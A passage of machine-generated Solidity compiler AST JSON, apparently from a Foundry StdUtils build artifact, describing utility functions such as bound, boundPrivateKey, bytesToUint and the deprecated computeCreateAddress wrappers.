memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_81387530263afdcc351da6c89e6a10d49583b5beb1fecaddd0371443f1cd026f","typeString":"literal_string \"Bound result\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":11534,"name":"console2_log_StdUtils","nodeType":"Identifier","overloadedDeclarations":[11940,11957,11974],"referencedDeclaration":11974,"src":"4414:21:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory,string memory) pure"}},"id":11540,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4414:58:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11541,"nodeType":"ExpressionStatement","src":"4414:58:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"bound","nameLocation":"4280:5:11","parameters":{"id":11522,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11517,"mutability":"mutable","name":"x","nameLocation":"4293:1:11","nodeType":"VariableDeclaration","scope":11543,"src":"4286:8:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":11516,"name":"int256","nodeType":"ElementaryTypeName","src":"4286:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":11519,"mutability":"mutable","name":"min","nameLocation":"4303:3:11","nodeType":"VariableDeclaration","scope":11543,"src":"4296:10:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":11518,"name":"int256","nodeType":"ElementaryTypeName","src":"4296:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":11521,"mutability":"mutable","name":"max","nameLocation":"4315:3:11","nodeType":"VariableDeclaration","scope":11543,"src":"4308:10:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":11520,"name":"int256","nodeType":"ElementaryTypeName","src":"4308:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"4285:34:11"},"returnParameters":{"id":11525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11524,"mutability":"mutable","name":"result","nameLocation":"4358:6:11","nodeType":"VariableDeclaration","scope":11543,"src":"4351:13:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":11523,"name":"int256","nodeType":"ElementaryTypeName","src":"4351:6:11","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"4350:15:11"},"scope":11975,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":11561,"nodeType":"FunctionDefinition","src":"4485:160:11","nodes":[],"body":{"id":11560,"nodeType":"Block","src":"4577:68:11","nodes":[],"statements":[{"expression":{"id":11558,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":11550,"name":"result","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11548,"src":"4587:6:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":11552,"name":"privateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11545,"src":"4603:10:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"31","id":11553,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4615:1:11","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11556,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"id":11554,"name":"SECP256K1_ORDER","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11232,"src":"4618:15:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":11555,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4636:1:11","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"4618:19:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11551,"name":"_bound","nodeType":"Identifier","overloadedDeclarations":[11368,11515],"referencedDeclaration":11368,"src":"4596:6:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$_t_uint256_$","typeString":"function (uint256,uint256,uint256) pure returns (uint256)"}},"id":11557,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4596:42:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4587:51:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11559,"nodeType":"ExpressionStatement","src":"4587:51:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"boundPrivateKey","nameLocation":"4494:15:11","parameters":{"id":11546,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11545,"mutability":"mutable","name":"privateKey","nameLocation":"4518:10:11","nodeType":"VariableDeclaration","scope":11561,"src":"4510:18:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11544,"name":"uint256","nodeType":"ElementaryTypeName","src":"4510:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4509:20:11"},"returnParameters":{"id":11549,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11548,"mutability":"mutable","name":"result","nameLocation":"4569:6:11","nodeType":"VariableDeclaration","scope":11561,"src":"4561:14:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11547,"name":"uint256","nodeType":"ElementaryTypeName","src":"4561:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4560:16:11"},"scope":11975,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":11595,"nodeType":"FunctionDefinition","src":"4651:259:11","nodes":[],"body":{"id":11594,"nodeType":"Block","src":"4728:182:11","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11572,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":11569,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11563,"src":"4746:1:11","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":11570,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4748:6:11","memberName":"length","nodeType":"MemberAccess","src":"4746:8:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"hexValue":"3332","id":11571,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4758:2:11","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"src":"4746:14:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5374645574696c73206279746573546f55696e74286279746573293a204279746573206c656e67746820657863656564732033322e","id":11573,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4762:55:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_15bc16f8ce72c26d4fbf91f28e31f7cbe900e6386b04cf90f353bff0f5b2da88","typeString":"literal_string \"StdUtils bytesToUint(bytes): Bytes length exceeds 32.\""},"value":"StdUtils bytesToUint(bytes): Bytes length exceeds 32."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_15bc16f8ce72c26d4fbf91f28e31f7cbe900e6386b04cf90f353bff0f5b2da88","typeString":"literal_string \"StdUtils bytesToUint(bytes): Bytes length exceeds 32.\""}],"id":11568,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"4738:7:11","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":11574,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4738:80:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11575,"nodeType":"ExpressionStatement","src":"4738:80:11"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11585,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"3332","id":11582,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4873:2:11","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"expression":{"id":11583,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11563,"src":"4878:1:11","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":11584,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4880:6:11","memberName":"length","nodeType":"MemberAccess","src":"4878:8:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4873:13:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11581,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"4863:9:11","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_bytes_memory_ptr_$","typeString":"function (uint256) pure returns (bytes memory)"},"typeName":{"id":11580,"name":"bytes","nodeType":"ElementaryTypeName","src":"4867:5:11","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}}},"id":11586,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4863:24:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":11587,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11563,"src":"4889:1:11","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":11578,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4846:3:11","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":11579,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4850:12:11","memberName":"encodePacked","nodeType":"MemberAccess","src":"4846:16:11","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":11588,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4846:45:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":11590,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"4894:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":11589,"name":"uint256","nodeType":"ElementaryTypeName","src":"4894:7:11","typeDescriptions":{}}}],"id":11591,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"4893:9:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":11576,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4835:3:11","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":11577,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4839:6:11","memberName":"decode","nodeType":"MemberAccess","src":"4835:10:11","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":11592,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4835:68:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":11567,"id":11593,"nodeType":"Return","src":"4828:75:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"bytesToUint","nameLocation":"4660:11:11","parameters":{"id":11564,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11563,"mutability":"mutable","name":"b","nameLocation":"4685:1:11","nodeType":"VariableDeclaration","scope":11595,"src":"4672:14:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":11562,"name":"bytes","nodeType":"ElementaryTypeName","src":"4672:5:11","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"4671:16:11"},"returnParameters":{"id":11567,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11566,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11595,"src":"4719:7:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11565,"name":"uint256","nodeType":"ElementaryTypeName","src":"4719:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4718:9:11"},"scope":11975,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":11616,"nodeType":"FunctionDefinition","src":"5144:281:11","nodes":[],"body":{"id":11615,"nodeType":"Block","src":"5247:178:11","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"636f6d707574654372656174654164647265737320697320646570726563617465642e20506c656173652075736520766d2e636f6d707574654372656174654164647265737320696e73746561642e","id":11606,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5279:81:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_7269602979e7efe0cf2435fd830893923e4ac6d12c1b6834ce0c3cdb39769052","typeString":"literal_string \"computeCreateAddress is deprecated. Please use vm.computeCreateAddress instead.\""},"value":"computeCreateAddress is deprecated. Please use vm.computeCreateAddress instead."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7269602979e7efe0cf2435fd830893923e4ac6d12c1b6834ce0c3cdb39769052","typeString":"literal_string \"computeCreateAddress is deprecated. Please use vm.computeCreateAddress instead.\""}],"id":11605,"name":"console2_log_StdUtils","nodeType":"Identifier","overloadedDeclarations":[11940,11957,11974],"referencedDeclaration":11940,"src":"5257:21:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":11607,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5257:104:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11608,"nodeType":"ExpressionStatement","src":"5257:104:11"},{"expression":{"arguments":[{"id":11611,"name":"deployer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11598,"src":"5402:8:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":11612,"name":"nonce","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11600,"src":"5412:5:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":11609,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11223,"src":"5378:2:11","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11610,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5381:20:11","memberName":"computeCreateAddress","nodeType":"MemberAccess","referencedDeclaration":14940,"src":"5378:23:11","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$_t_uint256_$returns$_t_address_$","typeString":"function (address,uint256) pure external returns (address)"}},"id":11613,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5378:40:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":11604,"id":11614,"nodeType":"Return","src":"5371:47:11"}]},"documentation":{"id":11596,"nodeType":"StructuredDocumentation","src":"4916:223:11","text":"@dev Compute the address a contract will be deployed at for a given deployer address and nonce\n @notice adapted from Solmate implementation (https://github.com/Rari-Capital/solmate/blob/main/src/utils/LibRLP.sol)"},"implemented":true,"kind":"function","modifiers":[],"name":"computeCreateAddress","nameLocation":"5153:20:11","parameters":{"id":11601,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11598,"mutability":"mutable","name":"deployer","nameLocation":"5182:8:11","nodeType":"VariableDeclaration","scope":11616,"src":"5174:16:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11597,"name":"address","nodeType":"ElementaryTypeName","src":"5174:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":11600,"mutability":"mutable","name":"nonce","nameLocation":"5200:5:11","nodeType":"VariableDeclaration","scope":11616,"src":"5192:13:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11599,"name":"uint256","nodeType":"ElementaryTypeName","src":"5192:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5173:33:11"},"returnParameters":{"id":11604,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11603,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11616,"src":"5238:7:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11602,"name":"address","nodeType":"ElementaryTypeName","src":"5238:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5237:9:11"},"scope":11975,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":11639,"nodeType":"FunctionDefinition","src":"5431:355:11","nodes":[],"body":{"id":11638,"nodeType":"Block","src":"5592:194:11","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"636f6d70757465437265617465324164647265737320697320646570726563617465642e20506c656173652075736520766d2e636f6d70757465437265617465324164647265737320696e73746561642e","id":11628,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5624:83:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_5abd736618531808b1ea1a17b1144019e81db11351698dec9b35fe8aba205691","typeString":"literal_string \"computeCreate2Address is deprecated. Please use vm.computeCreate2Address instead.\""},"value":"computeCreate2Address is deprecated. Please use vm.computeCreate2Address instead."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5abd736618531808b1ea1a17b1144019e81db11351698dec9b35fe8aba205691","typeString":"literal_string \"computeCreate2Address is deprecated. Please use vm.computeCreate2Address instead.\""}],"id":11627,"name":"console2_log_StdUtils","nodeType":"Identifier","overloadedDeclarations":[11940,11957,11974],"referencedDeclaration":11940,"src":"5602:21:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":11629,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5602:106:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11630,"nodeType":"ExpressionStatement","src":"5602:106:11"},{"expression":{"arguments":[{"id":11633,"name":"salt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11618,"src":"5750:4:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":11634,"name":"initcodeHash","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11620,"src":"5756:12:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":11635,"name":"deployer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11622,"src":"5770:8:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":11631,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11223,"src":"5725:2:11","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11632,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5728:21:11","memberName":"computeCreate2Address","nodeType":"MemberAccess","referencedDeclaration":14920,"src":"5725:24:11","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$_t_bytes32_$_t_address_$returns$_t_address_$","typeString":"function (bytes32,bytes32,address) pure external returns (address)"}},"id":11636,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5725:54:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":11626,"id":11637,"nodeType":"Return","src":"5718:61:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"computeCreate2Address","nameLocation":"5440:21:11","parameters":{"id":11623,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11618,"mutability":"mutable","name":"salt","nameLocation":"5470:4:11","nodeType":"VariableDeclaration","scope":11639,"src":"5462:12:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":11617,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5462:7:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":11620,"mutability":"mutable","name":"initcodeHash","nameLocation":"5484:12:11","nodeType":"VariableDeclaration","scope":11639,"src":"5476:20:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":11619,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5476:7:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":11622,"mutability":"mutable","name":"deployer","nameLocation":"5506:8:11","nodeType":"VariableDeclaration","scope":11639,"src":"5498:16:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11621,"name":"address","nodeType":"ElementaryTypeName","src":"5498:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5461:54:11"},"returnParameters":{"id":11626,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11625,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11639,"src":"5579:7:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11624,"name":"address","nodeType":"ElementaryTypeName","src":"5579:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5578:9:11"},"scope":11975,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":11660,"nodeType":"FunctionDefinition","src":"5895:283:11","nodes":[],"body":{"id":11659,"nodeType":"Block","src":"5994:184:11","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"636f6d70757465437265617465324164647265737320697320646570726563617465642e20506c656173652075736520766d2e636f6d70757465437265617465324164647265737320696e73746561642e","id":11650,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"6026:83:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_5abd736618531808b1ea1a17b1144019e81db11351698dec9b35fe8aba205691","typeString":"literal_string \"computeCreate2Address is deprecated. Please use vm.computeCreate2Address instead.\""},"value":"computeCreate2Address is deprecated. Please use vm.computeCreate2Address instead."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5abd736618531808b1ea1a17b1144019e81db11351698dec9b35fe8aba205691","typeString":"literal_string \"computeCreate2Address is deprecated. Please use vm.computeCreate2Address instead.\""}],"id":11649,"name":"console2_log_StdUtils","nodeType":"Identifier","overloadedDeclarations":[11940,11957,11974],"referencedDeclaration":11940,"src":"6004:21:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":11651,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6004:106:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11652,"nodeType":"ExpressionStatement","src":"6004:106:11"},{"expression":{"arguments":[{"id":11655,"name":"salt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11642,"src":"6152:4:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":11656,"name":"initCodeHash","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11644,"src":"6158:12:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":11653,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11223,"src":"6127:2:11","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11654,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6130:21:11","memberName":"computeCreate2Address","nodeType":"MemberAccess","referencedDeclaration":14930,"src":"6127:24:11","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$_t_bytes32_$returns$_t_address_$","typeString":"function (bytes32,bytes32) pure external returns (address)"}},"id":11657,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6127:44:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":11648,"id":11658,"nodeType":"Return","src":"6120:51:11"}]},"documentation":{"id":11640,"nodeType":"StructuredDocumentation","src":"5792:98:11","text":"@dev returns the address of a contract created with CREATE2 using the default CREATE2 